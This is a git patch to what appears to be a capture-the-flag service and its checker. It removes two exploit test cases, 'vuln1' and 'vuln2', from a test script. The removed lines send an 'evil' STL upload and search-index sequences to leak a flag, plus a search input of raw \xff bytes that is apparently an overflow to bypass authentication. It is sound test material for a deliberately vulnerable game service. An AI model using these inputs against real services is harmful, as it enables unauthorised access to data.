From 1218d049de7e380d6ea647a6074b66ce4962e45b Mon Sep 17 00:00:00 2001 From: Louis Burda Date: Wed, 2 Jun 2021 00:08:58 +0200 Subject: removed exploits from test script since already available in checker --- .dockerignore | 1 - checker/test.sh | 1 + tests/test.sh | 76 --------------------------------------------------------- 3 files changed, 1 insertion(+), 77 deletions(-) delete mode 100644 .dockerignore diff --git a/.dockerignore b/.dockerignore deleted file mode 100644 index 4baccb8..0000000 --- a/.dockerignore +++ /dev/null @@ -1 +0,0 @@ -patches diff --git a/checker/test.sh b/checker/test.sh index 65df496..d805d9d 100644 --- a/checker/test.sh +++ b/checker/test.sh @@ -3,6 +3,7 @@ ipstr="$1" SCRIPTPATH="$(dirname $(readlink -f "$0"))" +cd "$SCRIPTPATH" export REVHASH_PATH="$SCRIPTPATH/src/revhash/revhash" try() { diff --git a/tests/test.sh b/tests/test.sh index 4835024..159e435 100644 --- a/tests/test.sh +++ b/tests/test.sh @@ -97,82 +97,6 @@ elif [ "$1" == "stl-upload" ]; then echo "$name" ) | checkleaks -elif [ "$1" == "vuln1" ]; then - cleanuploads - - announce "Testing Flagstore 1" - - echo -e "\n--- Uploading target STL ---\n" 1>&2 - ( - echo "echo" - echo "upload" - cat "$TESTDATA/flag1.stl" | wc -c - cat "$TESTDATA/flag1.stl" - echo "N0TaFL4G" - echo "exit" - ) | connect - - echo -e "\n--- Uploading evil STL ---\n" 1>&2 - ( - echo "echo" - echo "upload" - cat "$TESTDATA/evil1.stl" | wc -c - cat "$TESTDATA/evil1.stl" - echo "EV1L" - echo "exit" - ) | connect - - echo -e "\n--- Testing Exploit ---\n" 1>&2 - ( - echo "echo" - - # try index 0 - echo "search" - echo "EV1L" - echo "0" - echo "n" - - echo "search last" - echo "0" - echo "n" - - # try index 1 - echo "search" - echo -e "EV1L" - echo "0" - echo "n" - - echo "search last" - echo "1" - echo "n" - echo "exit" - ) | connect - -elif [ "$1" == "vuln2" ]; then - cleanuploads - - announce "Testing Flagstore 2" - - echo -e "\n--- Uploading target STL ---\n" 1>&2 - ( - echo "echo" - echo "auth test" - echo "upload" - cat "$TESTDATA/flag1.stl" | wc -c - cat "$TESTDATA/flag1.stl" - echo "N0TaFL4G" - echo "exit" - ) | connect - - echo -e "\n--- Testing Exploit ---\n" 1>&2 - ( - echo "echo" - echo -e "search \xff\xff\xff\xff\xff0000000000000000" - echo "auth" - echo "list" - echo "exit" - ) | connect - elif [ "$1" == "auth-upload" ]; then cleanuploads -- cgit v1.2.3-71-gd317